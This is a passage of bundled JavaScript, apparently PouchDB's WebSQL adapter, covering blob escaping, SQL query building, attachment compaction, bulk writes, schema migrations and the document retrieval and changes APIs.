workarounds for a websql bug: // https://code.google.com/p/chromium/issues/detail?id=422690 // https://bugs.webkit.org/show_bug.cgi?id=137637 // The goal is to never actually insert the \u0000 character // in the database. function escapeBlob(str) { return str .replace(/\u0002/g, '\u0002\u0002') .replace(/\u0001/g, '\u0001\u0002') .replace(/\u0000/g, '\u0001\u0001'); } function unescapeBlob(str) { return str .replace(/\u0001\u0001/g, '\u0000') .replace(/\u0001\u0002/g, '\u0001') .replace(/\u0002\u0002/g, '\u0002'); } function stringifyDoc(doc) { // don't bother storing the id/rev. it uses lots of space, // in persistent map/reduce especially delete doc._id; delete doc._rev; return JSON.stringify(doc); } function unstringifyDoc(doc, id, rev$$1) { doc = JSON.parse(doc); doc._id = id; doc._rev = rev$$1; return doc; } // question mark groups IN queries, e.g. 3 -> '(?,?,?)' function qMarks(num) { var s = '('; while (num--) { s += '?'; if (num) { s += ','; } } return s + ')'; } function select(selector, table, joiner, where, orderBy) { return 'SELECT ' + selector + ' FROM ' + (typeof table === 'string' ? table : table.join(' JOIN ')) + (joiner ? (' ON ' + joiner) : '') + (where ? (' WHERE ' + (typeof where === 'string' ? where : where.join(' AND '))) : '') + (orderBy ? (' ORDER BY ' + orderBy) : ''); } function compactRevs$1(revs, docId, tx) { if (!revs.length) { return; } var numDone = 0; var seqs = []; function checkDone() { if (++numDone === revs.length) { // done deleteOrphans(); } } function deleteOrphans() { // find orphaned attachment digests if (!seqs.length) { return; } var sql = 'SELECT DISTINCT digest AS digest FROM ' + ATTACH_AND_SEQ_STORE$1 + ' WHERE seq IN ' + qMarks(seqs.length); tx.executeSql(sql, seqs, function (tx, res) { var digestsToCheck = []; for (var i = 0; i < res.rows.length; i++) { digestsToCheck.push(res.rows.item(i).digest); } if (!digestsToCheck.length) { return; } var sql = 'DELETE FROM ' + ATTACH_AND_SEQ_STORE$1 + ' WHERE seq IN (' + seqs.map(function () { return '?'; }).join(',') + ')'; tx.executeSql(sql, seqs, function (tx) { var sql = 'SELECT digest FROM ' + ATTACH_AND_SEQ_STORE$1 + ' WHERE digest IN (' + digestsToCheck.map(function () { return '?'; }).join(',') + ')'; tx.executeSql(sql, digestsToCheck, function (tx, res) { var nonOrphanedDigests = new ExportedSet(); for (var i = 0; i < res.rows.length; i++) { nonOrphanedDigests.add(res.rows.item(i).digest); } digestsToCheck.forEach(function (digest) { if (nonOrphanedDigests.has(digest)) { return; } tx.executeSql( 'DELETE FROM ' + ATTACH_AND_SEQ_STORE$1 + ' WHERE digest=?', [digest]); tx.executeSql( 'DELETE FROM ' + ATTACH_STORE$1 + ' WHERE digest=?', [digest]); }); }); }); }); } // update by-seq and attach stores in parallel revs.forEach(function (rev$$1) { var sql = 'SELECT seq FROM ' + BY_SEQ_STORE$1 + ' WHERE doc_id=? AND rev=?'; tx.executeSql(sql, [docId, rev$$1], function (tx, res) { if (!res.rows.length) { // already deleted return checkDone(); } var seq = res.rows.item(0).seq; seqs.push(seq); tx.executeSql( 'DELETE FROM ' + BY_SEQ_STORE$1 + ' WHERE seq=?', [seq], checkDone); }); }); } function websqlError(callback) { return function (event) { guardedConsole('error', 'WebSQL threw an error', event); // event may actually be a SQLError object, so report is as such var errorNameMatch = event && event.constructor.toString() .match(/function ([^(]+)/); var errorName = (errorNameMatch && errorNameMatch[1]) || event.type; var errorReason = event.target || event.message; callback(createError(WSQ_ERROR, errorReason, errorName)); }; } function getSize(opts) { if ('size' in opts) { // triggers immediate popup in iOS, fixes #2347 // e.g. 5000001 asks for 5 MB, 10000001 asks for 10 MB, return opts.size * 1000000; } // In iOS, doesn't matter as long as it's <= 5000000. // Except that if you request too much, our tests fail // because of the native "do you accept?" popup. // In Android <=4.3, this value is actually used as an // honest-to-god ceiling for data, so we need to // set it to a decently high number. var isAndroid = typeof navigator !== 'undefined' && /Android/.test(navigator.userAgent); return isAndroid ? 5000000 : 1; // in PhantomJS, if you use 0 it will crash } function websqlBulkDocs(dbOpts, req, opts, api, db, websqlChanges, callback) { var newEdits = opts.new_edits; var userDocs = req.docs; // Parse the docs, give them a sequence number for the result var docInfos = userDocs.map(function (doc) { if (doc._id && isLocalId(doc._id)) { return doc; } var newDoc = parseDoc(doc, newEdits); return newDoc; }); var docInfoErrors = docInfos.filter(function (docInfo) { return docInfo.error; }); if (docInfoErrors.length) { return callback(docInfoErrors[0]); } var tx; var results = new Array(docInfos.length); var fetchedDocs = new ExportedMap(); var preconditionErrored; function complete() { if (preconditionErrored) { return callback(preconditionErrored); } websqlChanges.notify(api._name); callback(null, results); } function verifyAttachment(digest, callback) { var sql = 'SELECT count(*) as cnt FROM ' + ATTACH_STORE$1 + ' WHERE digest=?'; tx.executeSql(sql, [digest], function (tx, result) { if (result.rows.item(0).cnt === 0) { var err = createError(MISSING_STUB, 'unknown stub attachment with digest ' + digest); callback(err); } else { callback(); } }); } function verifyAttachments(finish) { var digests = []; docInfos.forEach(function (docInfo) { if (docInfo.data && docInfo.data._attachments) { Object.keys(docInfo.data._attachments).forEach(function (filename) { var att = docInfo.data._attachments[filename]; if (att.stub) { digests.push(att.digest); } }); } }); if (!digests.length) { return finish(); } var numDone = 0; var err; function checkDone() { if (++numDone === digests.length) { finish(err); } } digests.forEach(function (digest) { verifyAttachment(digest, function (attErr) { if (attErr && !err) { err = attErr; } checkDone(); }); }); } function writeDoc(docInfo, winningRev$$1, winningRevIsDeleted, newRevIsDeleted, isUpdate, delta, resultsIdx, callback) { function finish() { var data = docInfo.data; var deletedInt = newRevIsDeleted ? 1 : 0; var id = data._id; var rev = data._rev; var json = stringifyDoc(data); var sql = 'INSERT INTO ' + BY_SEQ_STORE$1 + ' (doc_id, rev, json, deleted) VALUES (?, ?, ?, ?);'; var sqlArgs = [id, rev, json, deletedInt]; // map seqs to attachment digests, which // we will need later during compaction function insertAttachmentMappings(seq, callback) { var attsAdded = 0; var attsToAdd = Object.keys(data._attachments || {}); if (!attsToAdd.length) { return callback(); } function checkDone() { if (++attsAdded === attsToAdd.length) { callback(); } return false; // ack handling a constraint error } function add(att) { var sql = 'INSERT INTO ' + ATTACH_AND_SEQ_STORE$1 + ' (digest, seq) VALUES (?,?)'; var sqlArgs = [data._attachments[att].digest, seq]; tx.executeSql(sql, sqlArgs, checkDone, checkDone); // second callback is for a constaint error, which we ignore // because this docid/rev has already been associated with // the digest (e.g. when new_edits == false) } for (var i = 0; i < attsToAdd.length; i++) { add(attsToAdd[i]); // do in parallel } } tx.executeSql(sql, sqlArgs, function (tx, result) { var seq = result.insertId; insertAttachmentMappings(seq, function () { dataWritten(tx, seq); }); }, function () { // constraint error, recover by updating instead (see #1638) var fetchSql = select('seq', BY_SEQ_STORE$1, null, 'doc_id=? AND rev=?'); tx.executeSql(fetchSql, [id, rev], function (tx, res) { var seq = res.rows.item(0).seq; var sql = 'UPDATE ' + BY_SEQ_STORE$1 + ' SET json=?, deleted=? WHERE doc_id=? AND rev=?;'; var sqlArgs = [json, deletedInt, id, rev]; tx.executeSql(sql, sqlArgs, function (tx) { insertAttachmentMappings(seq, function () { dataWritten(tx, seq); }); }); }); return false; // ack that we've handled the error }); } function collectResults(attachmentErr) { if (!err) { if (attachmentErr) { err = attachmentErr; callback(err); } else if (recv === attachments.length) { finish(); } } } var err = null; var recv = 0; docInfo.data._id = docInfo.metadata.id; docInfo.data._rev = docInfo.metadata.rev; var attachments = Object.keys(docInfo.data._attachments || {}); if (newRevIsDeleted) { docInfo.data._deleted = true; } function attachmentSaved(err) { recv++; collectResults(err); } attachments.forEach(function (key) { var att = docInfo.data._attachments[key]; if (!att.stub) { var data = att.data; delete att.data; att.revpos = parseInt(winningRev$$1, 10); var digest = att.digest; saveAttachment(digest, data, attachmentSaved); } else { recv++; collectResults(); } }); if (!attachments.length) { finish(); } function dataWritten(tx, seq) { var id = docInfo.metadata.id; var revsToCompact = docInfo.stemmedRevs || []; if (isUpdate && api.auto_compaction) { revsToCompact = compactTree(docInfo.metadata).concat(revsToCompact); } if (revsToCompact.length) { compactRevs$1(revsToCompact, id, tx); } docInfo.metadata.seq = seq; var rev = docInfo.metadata.rev; delete docInfo.metadata.rev; var sql = isUpdate ? 'UPDATE ' + DOC_STORE$1 + ' SET json=?, max_seq=?, winningseq=' + '(SELECT seq FROM ' + BY_SEQ_STORE$1 + ' WHERE doc_id=' + DOC_STORE$1 + '.id AND rev=?) WHERE id=?' : 'INSERT INTO ' + DOC_STORE$1 + ' (id, winningseq, max_seq, json) VALUES (?,?,?,?);'; var metadataStr = safeJsonStringify(docInfo.metadata); var params = isUpdate ? [metadataStr, seq, winningRev$$1, id] : [id, seq, seq, metadataStr]; tx.executeSql(sql, params, function () { results[resultsIdx] = { ok: true, id: docInfo.metadata.id, rev: rev }; fetchedDocs.set(id, docInfo.metadata); callback(); }); } } function websqlProcessDocs() { processDocs(dbOpts.revs_limit, docInfos, api, fetchedDocs, tx, results, writeDoc, opts); } function fetchExistingDocs(callback) { if (!docInfos.length) { return callback(); } var numFetched = 0; function checkDone() { if (++numFetched === docInfos.length) { callback(); } } docInfos.forEach(function (docInfo) { if (docInfo._id && isLocalId(docInfo._id)) { return checkDone(); // skip local docs } var id = docInfo.metadata.id; tx.executeSql('SELECT json FROM ' + DOC_STORE$1 + ' WHERE id = ?', [id], function (tx, result) { if (result.rows.length) { var metadata = safeJsonParse(result.rows.item(0).json); fetchedDocs.set(id, metadata); } checkDone(); }); }); } function saveAttachment(digest, data, callback) { var sql = 'SELECT digest FROM ' + ATTACH_STORE$1 + ' WHERE digest=?'; tx.executeSql(sql, [digest], function (tx, result) { if (result.rows.length) { // attachment already exists return callback(); } // we could just insert before selecting and catch the error, // but my hunch is that it's cheaper not to serialize the blob // from JS to C if we don't have to (TODO: confirm this) sql = 'INSERT INTO ' + ATTACH_STORE$1 + ' (digest, body, escaped) VALUES (?,?,1)'; tx.executeSql(sql, [digest, escapeBlob(data)], function () { callback(); }, function () { // ignore constaint errors, means it already exists callback(); return false; // ack we handled the error }); }); } preprocessAttachments(docInfos, 'binary', function (err) { if (err) { return callback(err); } db.transaction(function (txn) { tx = txn; verifyAttachments(function (err) { if (err) { preconditionErrored = err; } else { fetchExistingDocs(websqlProcessDocs); } }); }, websqlError(callback), complete); }); } var cachedDatabases = new ExportedMap(); // openDatabase passed in through opts (e.g. for node-websql) function openDatabaseWithOpts(opts) { return opts.websql(opts.name, opts.version, opts.description, opts.size); } function openDBSafely(opts) { try { return { db: openDatabaseWithOpts(opts) }; } catch (err) { return { error: err }; } } function openDB$1(opts) { var cachedResult = cachedDatabases.get(opts.name); if (!cachedResult) { cachedResult = openDBSafely(opts); cachedDatabases.set(opts.name, cachedResult); } return cachedResult; } var websqlChanges = new Changes(); function fetchAttachmentsIfNecessary$1(doc, opts, api, txn, cb) { var attachments = Object.keys(doc._attachments || {}); if (!attachments.length) { return cb && cb(); } var numDone = 0; function checkDone() { if (++numDone === attachments.length && cb) { cb(); } } function fetchAttachment(doc, att) { var attObj = doc._attachments[att]; var attOpts = {binary: opts.binary, ctx: txn}; api._getAttachment(doc._id, att, attObj, attOpts, function (_, data) { doc._attachments[att] = $inject_Object_assign( pick(attObj, ['digest', 'content_type']), { data: data } ); checkDone(); }); } attachments.forEach(function (att) { if (opts.attachments && opts.include_docs) { fetchAttachment(doc, att); } else { doc._attachments[att].stub = true; checkDone(); } }); } var POUCH_VERSION = 1; // these indexes cover the ground for most allDocs queries var BY_SEQ_STORE_DELETED_INDEX_SQL = 'CREATE INDEX IF NOT EXISTS \'by-seq-deleted-idx\' ON ' + BY_SEQ_STORE$1 + ' (seq, deleted)'; var BY_SEQ_STORE_DOC_ID_REV_INDEX_SQL = 'CREATE UNIQUE INDEX IF NOT EXISTS \'by-seq-doc-id-rev\' ON ' + BY_SEQ_STORE$1 + ' (doc_id, rev)'; var DOC_STORE_WINNINGSEQ_INDEX_SQL = 'CREATE INDEX IF NOT EXISTS \'doc-winningseq-idx\' ON ' + DOC_STORE$1 + ' (winningseq)'; var ATTACH_AND_SEQ_STORE_SEQ_INDEX_SQL = 'CREATE INDEX IF NOT EXISTS \'attach-seq-seq-idx\' ON ' + ATTACH_AND_SEQ_STORE$1 + ' (seq)'; var ATTACH_AND_SEQ_STORE_ATTACH_INDEX_SQL = 'CREATE UNIQUE INDEX IF NOT EXISTS \'attach-seq-digest-idx\' ON ' + ATTACH_AND_SEQ_STORE$1 + ' (digest, seq)'; var DOC_STORE_AND_BY_SEQ_JOINER = BY_SEQ_STORE$1 + '.seq = ' + DOC_STORE$1 + '.winningseq'; var SELECT_DOCS = BY_SEQ_STORE$1 + '.seq AS seq, ' + BY_SEQ_STORE$1 + '.deleted AS deleted, ' + BY_SEQ_STORE$1 + '.json AS data, ' + BY_SEQ_STORE$1 + '.rev AS rev, ' + DOC_STORE$1 + '.json AS metadata'; function WebSqlPouch$1(opts, callback) { var api = this; var instanceId = null; var size = getSize(opts); var idRequests = []; var encoding; api._name = opts.name; // extend the options here, because sqlite plugin has a ton of options // and they are constantly changing, so it's more prudent to allow anything var websqlOpts = $inject_Object_assign({}, opts, { version: POUCH_VERSION, description: opts.name, size: size }); var openDBResult = openDB$1(websqlOpts); if (openDBResult.error) { return websqlError(callback)(openDBResult.error); } var db = openDBResult.db; if (typeof db.readTransaction !== 'function') { // doesn't exist in sqlite plugin db.readTransaction = db.transaction; } function dbCreated() { // note the db name in case the browser upgrades to idb if (hasLocalStorage()) { window.localStorage['_pouch__websqldb_' + api._name] = true; } callback(null, api); } // In this migration, we added the 'deleted' and 'local' columns to the // by-seq and doc store tables. // To preserve existing user data, we re-process all the existing JSON // and add these values. // Called migration2 because it corresponds to adapter version (db_version) #2 function runMigration2(tx, callback) { // index used for the join in the allDocs query tx.executeSql(DOC_STORE_WINNINGSEQ_INDEX_SQL); tx.executeSql('ALTER TABLE ' + BY_SEQ_STORE$1 + ' ADD COLUMN deleted TINYINT(1) DEFAULT 0', [], function () { tx.executeSql(BY_SEQ_STORE_DELETED_INDEX_SQL); tx.executeSql('ALTER TABLE ' + DOC_STORE$1 + ' ADD COLUMN local TINYINT(1) DEFAULT 0', [], function () { tx.executeSql('CREATE INDEX IF NOT EXISTS \'doc-store-local-idx\' ON ' + DOC_STORE$1 + ' (local, id)'); var sql = 'SELECT ' + DOC_STORE$1 + '.winningseq AS seq, ' + DOC_STORE$1 + '.json AS metadata FROM ' + BY_SEQ_STORE$1 + ' JOIN ' + DOC_STORE$1 + ' ON ' + BY_SEQ_STORE$1 + '.seq = ' + DOC_STORE$1 + '.winningseq'; tx.executeSql(sql, [], function (tx, result) { var deleted = []; var local = []; for (var i = 0; i < result.rows.length; i++) { var item = result.rows.item(i); var seq = item.seq; var metadata = JSON.parse(item.metadata); if (isDeleted(metadata)) { deleted.push(seq); } if (isLocalId(metadata.id)) { local.push(metadata.id); } } tx.executeSql('UPDATE ' + DOC_STORE$1 + 'SET local = 1 WHERE id IN ' + qMarks(local.length), local, function () { tx.executeSql('UPDATE ' + BY_SEQ_STORE$1 + ' SET deleted = 1 WHERE seq IN ' + qMarks(deleted.length), deleted, callback); }); }); }); }); } // in this migration, we make all the local docs unversioned function runMigration3(tx, callback) { var local = 'CREATE TABLE IF NOT EXISTS ' + LOCAL_STORE$1 + ' (id UNIQUE, rev, json)'; tx.executeSql(local, [], function () { var sql = 'SELECT ' + DOC_STORE$1 + '.id AS id, ' + BY_SEQ_STORE$1 + '.json AS data ' + 'FROM ' + BY_SEQ_STORE$1 + ' JOIN ' + DOC_STORE$1 + ' ON ' + BY_SEQ_STORE$1 + '.seq = ' + DOC_STORE$1 + '.winningseq WHERE local = 1'; tx.executeSql(sql, [], function (tx, res) { var rows = []; for (var i = 0; i < res.rows.length; i++) { rows.push(res.rows.item(i)); } function doNext() { if (!rows.length) { return callback(tx); } var row = rows.shift(); var rev$$1 = JSON.parse(row.data)._rev; tx.executeSql('INSERT INTO ' + LOCAL_STORE$1 + ' (id, rev, json) VALUES (?,?,?)', [row.id, rev$$1, row.data], function (tx) { tx.executeSql('DELETE FROM ' + DOC_STORE$1 + ' WHERE id=?', [row.id], function (tx) { tx.executeSql('DELETE FROM ' + BY_SEQ_STORE$1 + ' WHERE seq=?', [row.seq], function () { doNext(); }); }); }); } doNext(); }); }); } // in this migration, we remove doc_id_rev and just use rev function runMigration4(tx, callback) { function updateRows(rows) { function doNext() { if (!rows.length) { return callback(tx); } var row = rows.shift(); var doc_id_rev = parseHexString(row.hex, encoding); var idx = doc_id_rev.lastIndexOf('::'); var doc_id = doc_id_rev.substring(0, idx); var rev$$1 = doc_id_rev.substring(idx + 2); var sql = 'UPDATE ' + BY_SEQ_STORE$1 + ' SET doc_id=?, rev=? WHERE doc_id_rev=?'; tx.executeSql(sql, [doc_id, rev$$1, doc_id_rev], function () { doNext(); }); } doNext(); } var sql = 'ALTER TABLE ' + BY_SEQ_STORE$1 + ' ADD COLUMN doc_id'; tx.executeSql(sql, [], function (tx) { var sql = 'ALTER TABLE ' + BY_SEQ_STORE$1 + ' ADD COLUMN rev'; tx.executeSql(sql, [], function (tx) { tx.executeSql(BY_SEQ_STORE_DOC_ID_REV_INDEX_SQL, [], function (tx) { var sql = 'SELECT hex(doc_id_rev) as hex FROM ' + BY_SEQ_STORE$1; tx.executeSql(sql, [], function (tx, res) { var rows = []; for (var i = 0; i < res.rows.length; i++) { rows.push(res.rows.item(i)); } updateRows(rows); }); }); }); }); } // in this migration, we add the attach_and_seq table // for issue #2818 function runMigration5(tx, callback) { function migrateAttsAndSeqs(tx) { // need to actually populate the table. this is the expensive part, // so as an optimization, check first that this database even // contains attachments var sql = 'SELECT COUNT(*) AS cnt FROM ' + ATTACH_STORE$1; tx.executeSql(sql, [], function (tx, res) { var count = res.rows.item(0).cnt; if (!count) { return callback(tx); } var offset = 0; var pageSize = 10; function nextPage() { var sql = select( SELECT_DOCS + ', ' + DOC_STORE$1 + '.id AS id', [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE_AND_BY_SEQ_JOINER, null, DOC_STORE$1 + '.id ' ); sql += ' LIMIT ' + pageSize + ' OFFSET ' + offset; offset += pageSize; tx.executeSql(sql, [], function (tx, res) { if (!res.rows.length) { return callback(tx); } var digestSeqs = {}; function addDigestSeq(digest, seq) { // uniq digest/seq pairs, just in case there are dups var seqs = digestSeqs[digest] = (digestSeqs[digest] || []); if (seqs.indexOf(seq) === -1) { seqs.push(seq); } } for (var i = 0; i < res.rows.length; i++) { var row = res.rows.item(i); var doc = unstringifyDoc(row.data, row.id, row.rev); var atts = Object.keys(doc._attachments || {}); for (var j = 0; j < atts.length; j++) { var att = doc._attachments[atts[j]]; addDigestSeq(att.digest, row.seq); } } var digestSeqPairs = []; Object.keys(digestSeqs).forEach(function (digest) { var seqs = digestSeqs[digest]; seqs.forEach(function (seq) { digestSeqPairs.push([digest, seq]); }); }); if (!digestSeqPairs.length) { return nextPage(); } var numDone = 0; digestSeqPairs.forEach(function (pair) { var sql = 'INSERT INTO ' + ATTACH_AND_SEQ_STORE$1 + ' (digest, seq) VALUES (?,?)'; tx.executeSql(sql, pair, function () { if (++numDone === digestSeqPairs.length) { nextPage(); } }); }); }); } nextPage(); }); } var attachAndRev = 'CREATE TABLE IF NOT EXISTS ' + ATTACH_AND_SEQ_STORE$1 + ' (digest, seq INTEGER)'; tx.executeSql(attachAndRev, [], function (tx) { tx.executeSql( ATTACH_AND_SEQ_STORE_ATTACH_INDEX_SQL, [], function (tx) { tx.executeSql( ATTACH_AND_SEQ_STORE_SEQ_INDEX_SQL, [], migrateAttsAndSeqs); }); }); } // in this migration, we use escapeBlob() and unescapeBlob() // instead of reading out the binary as HEX, which is slow function runMigration6(tx, callback) { var sql = 'ALTER TABLE ' + ATTACH_STORE$1 + ' ADD COLUMN escaped TINYINT(1) DEFAULT 0'; tx.executeSql(sql, [], callback); } // issue #3136, in this migration we need a "latest seq" as well // as the "winning seq" in the doc store function runMigration7(tx, callback) { var sql = 'ALTER TABLE ' + DOC_STORE$1 + ' ADD COLUMN max_seq INTEGER'; tx.executeSql(sql, [], function (tx) { var sql = 'UPDATE ' + DOC_STORE$1 + ' SET max_seq=(SELECT MAX(seq) FROM ' + BY_SEQ_STORE$1 + ' WHERE doc_id=id)'; tx.executeSql(sql, [], function (tx) { // add unique index after filling, else we'll get a constraint // error when we do the ALTER TABLE var sql = 'CREATE UNIQUE INDEX IF NOT EXISTS \'doc-max-seq-idx\' ON ' + DOC_STORE$1 + ' (max_seq)'; tx.executeSql(sql, [], callback); }); }); } function checkEncoding(tx, cb) { // UTF-8 on chrome/android, UTF-16 on safari < 7.1 tx.executeSql('SELECT HEX("a") AS hex', [], function (tx, res) { var hex = res.rows.item(0).hex; encoding = hex.length === 2 ? 'UTF-8' : 'UTF-16'; cb(); } ); } function onGetInstanceId() { while (idRequests.length > 0) { var idCallback = idRequests.pop(); idCallback(null, instanceId); } } function onGetVersion(tx, dbVersion) { if (dbVersion === 0) { // initial schema var meta = 'CREATE TABLE IF NOT EXISTS ' + META_STORE$1 + ' (dbid, db_version INTEGER)'; var attach = 'CREATE TABLE IF NOT EXISTS ' + ATTACH_STORE$1 + ' (digest UNIQUE, escaped TINYINT(1), body BLOB)'; var attachAndRev = 'CREATE TABLE IF NOT EXISTS ' + ATTACH_AND_SEQ_STORE$1 + ' (digest, seq INTEGER)'; // TODO: migrate winningseq to INTEGER var doc = 'CREATE TABLE IF NOT EXISTS ' + DOC_STORE$1 + ' (id unique, json, winningseq, max_seq INTEGER UNIQUE)'; var seq = 'CREATE TABLE IF NOT EXISTS ' + BY_SEQ_STORE$1 + ' (seq INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, ' + 'json, deleted TINYINT(1), doc_id, rev)'; var local = 'CREATE TABLE IF NOT EXISTS ' + LOCAL_STORE$1 + ' (id UNIQUE, rev, json)'; // creates tx.executeSql(attach); tx.executeSql(local); tx.executeSql(attachAndRev, [], function () { tx.executeSql(ATTACH_AND_SEQ_STORE_SEQ_INDEX_SQL); tx.executeSql(ATTACH_AND_SEQ_STORE_ATTACH_INDEX_SQL); }); tx.executeSql(doc, [], function () { tx.executeSql(DOC_STORE_WINNINGSEQ_INDEX_SQL); tx.executeSql(seq, [], function () { tx.executeSql(BY_SEQ_STORE_DELETED_INDEX_SQL); tx.executeSql(BY_SEQ_STORE_DOC_ID_REV_INDEX_SQL); tx.executeSql(meta, [], function () { // mark the db version, and new dbid var initSeq = 'INSERT INTO ' + META_STORE$1 + ' (db_version, dbid) VALUES (?,?)'; instanceId = uuid(); var initSeqArgs = [ADAPTER_VERSION$1, instanceId]; tx.executeSql(initSeq, initSeqArgs, function () { onGetInstanceId(); }); }); }); }); } else { // version > 0 var setupDone = function () { var migrated = dbVersion < ADAPTER_VERSION$1; if (migrated) { // update the db version within this transaction tx.executeSql('UPDATE ' + META_STORE$1 + ' SET db_version = ' + ADAPTER_VERSION$1); } // notify db.id() callers var sql = 'SELECT dbid FROM ' + META_STORE$1; tx.executeSql(sql, [], function (tx, result) { instanceId = result.rows.item(0).dbid; onGetInstanceId(); }); }; // would love to use promises here, but then websql // ends the transaction early var tasks = [ runMigration2, runMigration3, runMigration4, runMigration5, runMigration6, runMigration7, setupDone ]; // run each migration sequentially var i = dbVersion; var nextMigration = function (tx) { tasks[i - 1](tx, nextMigration); i++; }; nextMigration(tx); } } function setup() { db.transaction(function (tx) { // first check the encoding checkEncoding(tx, function () { // then get the version fetchVersion(tx); }); }, websqlError(callback), dbCreated); } function fetchVersion(tx) { var sql = 'SELECT sql FROM sqlite_master WHERE tbl_name = ' + META_STORE$1; tx.executeSql(sql, [], function (tx, result) { if (!result.rows.length) { // database hasn't even been created yet (version 0) onGetVersion(tx, 0); } else if (!/db_version/.test(result.rows.item(0).sql)) { // table was created, but without the new db_version column, // so add it. tx.executeSql('ALTER TABLE ' + META_STORE$1 + ' ADD COLUMN db_version INTEGER', [], function () { // before version 2, this column didn't even exist onGetVersion(tx, 1); }); } else { // column exists, we can safely get it tx.executeSql('SELECT db_version FROM ' + META_STORE$1, [], function (tx, result) { var dbVersion = result.rows.item(0).db_version; onGetVersion(tx, dbVersion); }); } }); } setup(); function getMaxSeq(tx, callback) { var sql = 'SELECT MAX(seq) AS seq FROM ' + BY_SEQ_STORE$1; tx.executeSql(sql, [], function (tx, res) { var updateSeq = res.rows.item(0).seq || 0; callback(updateSeq); }); } function countDocs(tx, callback) { // count the total rows var sql = select( 'COUNT(' + DOC_STORE$1 + '.id) AS \'num\'', [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE_AND_BY_SEQ_JOINER, BY_SEQ_STORE$1 + '.deleted=0'); tx.executeSql(sql, [], function (tx, result) { callback(result.rows.item(0).num); }); } api._remote = false; api.type = function () { return 'websql'; }; api._id = toPromise(function (callback) { callback(null, instanceId); }); api._info = function (callback) { var seq; var docCount; db.readTransaction(function (tx) { getMaxSeq(tx, function (theSeq) { seq = theSeq; }); countDocs(tx, function (theDocCount) { docCount = theDocCount; }); }, websqlError(callback), function () { callback(null, { doc_count: docCount, update_seq: seq, websql_encoding: encoding }); }); }; api._bulkDocs = function (req, reqOpts, callback) { websqlBulkDocs(opts, req, reqOpts, api, db, websqlChanges, callback); }; function latest$$1(tx, id, rev$$1, callback, finish) { var sql = select( SELECT_DOCS, [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE_AND_BY_SEQ_JOINER, DOC_STORE$1 + '.id=?'); var sqlArgs = [id]; tx.executeSql(sql, sqlArgs, function (a, results) { if (!results.rows.length) { var err = createError(MISSING_DOC, 'missing'); return finish(err); } var item = results.rows.item(0); var metadata = safeJsonParse(item.metadata); callback(latest(rev$$1, metadata)); }); } api._get = function (id, opts, callback) { var doc; var metadata; var tx = opts.ctx; if (!tx) { return db.readTransaction(function (txn) { api._get(id, $inject_Object_assign({ctx: txn}, opts), callback); }); } function finish(err) { callback(err, {doc: doc, metadata: metadata, ctx: tx}); } var sql; var sqlArgs; if (!opts.rev) { sql = select( SELECT_DOCS, [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE_AND_BY_SEQ_JOINER, DOC_STORE$1 + '.id=?'); sqlArgs = [id]; } else if (opts.latest) { latest$$1(tx, id, opts.rev, function (latestRev) { opts.latest = false; opts.rev = latestRev; api._get(id, opts, callback); }, finish); return; } else { sql = select( SELECT_DOCS, [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE$1 + '.id=' + BY_SEQ_STORE$1 + '.doc_id', [BY_SEQ_STORE$1 + '.doc_id=?', BY_SEQ_STORE$1 + '.rev=?']); sqlArgs = [id, opts.rev]; } tx.executeSql(sql, sqlArgs, function (a, results) { if (!results.rows.length) { var missingErr = createError(MISSING_DOC, 'missing'); return finish(missingErr); } var item = results.rows.item(0); metadata = safeJsonParse(item.metadata); if (item.deleted && !opts.rev) { var deletedErr = createError(MISSING_DOC, 'deleted'); return finish(deletedErr); } doc = unstringifyDoc(item.data, metadata.id, item.rev); finish(); }); }; api._allDocs = function (opts, callback) { var results = []; var totalRows; var start = 'startkey' in opts ? opts.startkey : false; var end = 'endkey' in opts ? opts.endkey : false; var key = 'key' in opts ? opts.key : false; var descending = 'descending' in opts ? opts.descending : false; var limit = 'limit' in opts ? opts.limit : -1; var offset = 'skip' in opts ? opts.skip : 0; var inclusiveEnd = opts.inclusive_end !== false; var sqlArgs = []; var criteria = []; if (key !== false) { criteria.push(DOC_STORE$1 + '.id = ?'); sqlArgs.push(key); } else if (start !== false || end !== false) { if (start !== false) { criteria.push(DOC_STORE$1 + '.id ' + (descending ? '<=' : '>=') + ' ?'); sqlArgs.push(start); } if (end !== false) { var comparator = descending ? '>' : '<'; if (inclusiveEnd) { comparator += '='; } criteria.push(DOC_STORE$1 + '.id ' + comparator + ' ?'); sqlArgs.push(end); } if (key !== false) { criteria.push(DOC_STORE$1 + '.id = ?'); sqlArgs.push(key); } } if (opts.deleted !== 'ok') { // report deleted if keys are specified criteria.push(BY_SEQ_STORE$1 + '.deleted = 0'); } db.readTransaction(function (tx) { // count the docs in parallel to other operations countDocs(tx, function (docCount) { totalRows = docCount; }); if (limit === 0) { return; } // do a single query to fetch the documents var sql = select( SELECT_DOCS, [DOC_STORE$1, BY_SEQ_STORE$1], DOC_STORE_AND_BY_SEQ_JOINER, criteria, DOC_STORE$1 + '.id ' + (descending ? 'DESC' : 'ASC') ); sql += ' LIMIT ' + limit + ' OFFSET ' + offset; tx.executeSql(sql, sqlArgs, function (tx, result) { for (var i = 0, l = result.rows.length; i < l; i++) { var item = result.rows.item(i); var metadata = safeJsonParse(item.metadata); var id = metadata.id; var data = unstringifyDoc(item.data, id, item.rev); var winningRev$$1 = data._rev; var doc = { id: id, key: id, value: {rev: winningRev$$1} }; if (opts.include_docs) { doc.doc = data; doc.doc._rev = winningRev$$1; if (opts.conflicts) { var conflicts = collectConflicts(metadata); if (conflicts.length) { doc.doc._conflicts = conflicts; } } fetchAttachmentsIfNecessary$1(doc.doc, opts, api, tx); } if (item.deleted) { if (opts.deleted === 'ok') { doc.value.deleted = true; doc.doc = null; } else { continue; } } results.push(doc); } }); }, websqlError(callback), function () { callback(null, { total_rows: totalRows, offset: opts.skip, rows: results }); }); }; api._changes = function (opts) { opts = clone(opts); if (opts.continuous) { var id = api._name + ':' + uuid(); websqlChanges.addListener(api._name, id, api, opts); websqlChanges.notify(api._name); return { cancel: function () { websqlChanges.removeListener(api._name, id); } }; } var descending = opts.descending; // Ignore the `since` parameter when `descending` is true opts.since = opts.since && !descending ? opts.since : 0; var limit = 'limit' in opts ? opts.limit : -1; if (limit === 0) { limit = 1; // per CouchDB _changes spec } var returnDocs; if ('return_docs' in opts) { returnDocs = opts.return_docs; } else if ('returnDocs' in opts) { // TODO: Remove 'returnDocs' 